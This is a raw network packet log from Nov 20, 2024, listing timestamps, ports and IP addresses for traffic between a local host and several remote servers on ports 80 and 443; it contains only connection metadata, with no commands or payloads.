Nov 20, 2024 16:51:00.883570910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.883616924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.883990049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.884035110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.884104013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.884208918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.884967089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.885013103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.885279894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.885328054 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.885843992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.885900021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.886529922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.886579037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.886765957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.886778116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.886807919 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.886825085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.887772083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.887818098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.887904882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.888026953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.888777018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.888823032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.889271975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.889323950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.889513016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.889555931 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.890430927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.890441895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.890454054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.890475988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.890491962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.891343117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.891412020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.891666889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.891745090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.892373085 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.892385960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.892426014 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.893543959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.893596888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.893907070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.893951893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.894495010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.894550085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.895468950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.895483017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.895494938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.895519018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.895550013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.896275043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.896322012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.896398067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.896439075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.897066116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.897110939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.897248983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.897345066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.898236036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.898252964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.898283005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.898302078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.899125099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.899178028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.899208069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.899249077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.900026083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.900065899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.900531054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.900588989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.900710106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.900762081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.900958061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.901001930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.901526928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.901540995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.901578903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.901631117 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.901659012 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.901709080 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.901721954 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.901757956 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.901798010 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.902393103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.902637005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.902662039 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.902674913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.903333902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.903384924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.903520107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.903558016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.903635979 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.903649092 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.904206038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.904264927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.904592037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.904654980 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.925610065 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.925695896 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.925740004 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.928308010 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.928324938 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.939457893 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.939480066 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.939560890 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.939568043 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.944081068 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.944135904 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.965527058 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.965536118 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.965570927 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.965583086 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.975753069 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.975781918 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.975837946 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.975857019 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.975950003 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.976077080 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.976140022 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.976182938 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.985186100 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.985208988 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.985238075 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.985272884 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.985295057 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.985342979 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.985722065 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.985788107 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.985826969 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:01.001466990 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:01.001497030 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:01.001538992 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:01.001564026 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:01.003501892 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:01.003529072 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:01.145678043 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.145700932 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.145760059 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:01.145792961 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.149036884 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.149084091 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:01.204013109 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:01.204107046 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:01.204161882 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:51:01.224585056 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:51:01.224603891 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:01.226896048 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:01.226919889 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.277827024 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.280013084 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.282867908 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:01.297472000 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:01.297502995 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:01.485660076 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.486068010 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:51:01.486089945 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.486418009 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.487379074 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:51:01.487436056 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.488110065 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:51:01.531330109 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.685368061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:01.685389996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:01.690263033 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.690615892 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.690642118 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.691693068 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.691754103 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.692043066 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.692467928 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.692482948 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.693011045 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.693067074 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.693516016 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.693599939 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.693964005 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.694019079 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.733103991 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.733127117 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.743617058 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.743644953 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:01.774868011 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.790488005 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:01.804927111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:01.805623055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:01.943723917 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.943823099 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:01.943862915 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:51:01.945053101 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:51:01.945072889 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:51:02.001552105 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.002206087 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.002230883 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.002598047 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.003283978 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.003369093 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.004439116 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.004502058 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.004614115 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.004627943 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.005706072 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.005779028 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.006150961 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.006198883 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.056190968 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.056212902 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.056246042 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.056257963 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:02.103085995 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.103338003 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:02.358584881 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.358623981 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:02.359046936 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.359795094 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.359823942 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:02.396059990 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.396116018 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:02.396222115 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.396441936 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.396461010 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:02.410289049 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.410341024 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:02.410404921 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.410815001 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:02.410835028 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:02.431807041 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.432054996 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:02.432065964 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.432441950 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.432846069 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:02.432919025 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.432997942 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:02.479341030 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.814760923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:02.814841986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:02.879297972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:02.919404984 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.919428110 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.919517994 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:02.919528008 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.919543982 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.919665098 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:02.921257019 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:02.921272993 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:02.999886036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:03.329531908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:03.329660892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:03.329682112 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:03.329711914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:03.329777956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:03.329817057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:03.337372065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:03.456825018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:03.639353037 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.646397114 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.646410942 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.646794081 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.648046970 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.648109913 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.648257017 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.682028055 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.682167053 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.682332993 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.682364941 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.682666063 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.682689905 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.682692051 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.682986975 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.683036089 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.683120966 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.683727980 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.683789968 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.684055090 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.684154034 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.684159994 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.684176922 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.695333004 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.723340034 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.723767996 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.739593029 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.739629984 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:03.784246922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:03.784301996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:03.786307096 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:03.798062086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:03.919771910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:04.227585077 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.227617025 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.227632046 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.227722883 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.227744102 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.227807999 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.227807999 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.324141979 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324173927 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324181080 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324196100 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324203968 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324209929 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324242115 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.324270010 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324301004 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.324301004 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324317932 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.324326992 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324335098 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324348927 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324362993 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.324393034 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.324403048 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324414015 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.324456930 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.351787090 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.351811886 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.351910114 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.351923943 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.352018118 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.360456944 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.360519886 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.375144005 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.375159979 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.375197887 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.375243902 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.375267029 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.375283957 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.375319958 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.376079082 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.376116037 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.376151085 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.376169920 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.376183987 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.376184940 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.376210928 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.376215935 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.376264095 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.383579016 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.383645058 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.435550928 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.435579062 CET	443	49826	23.221.239.203	192.168.2.9
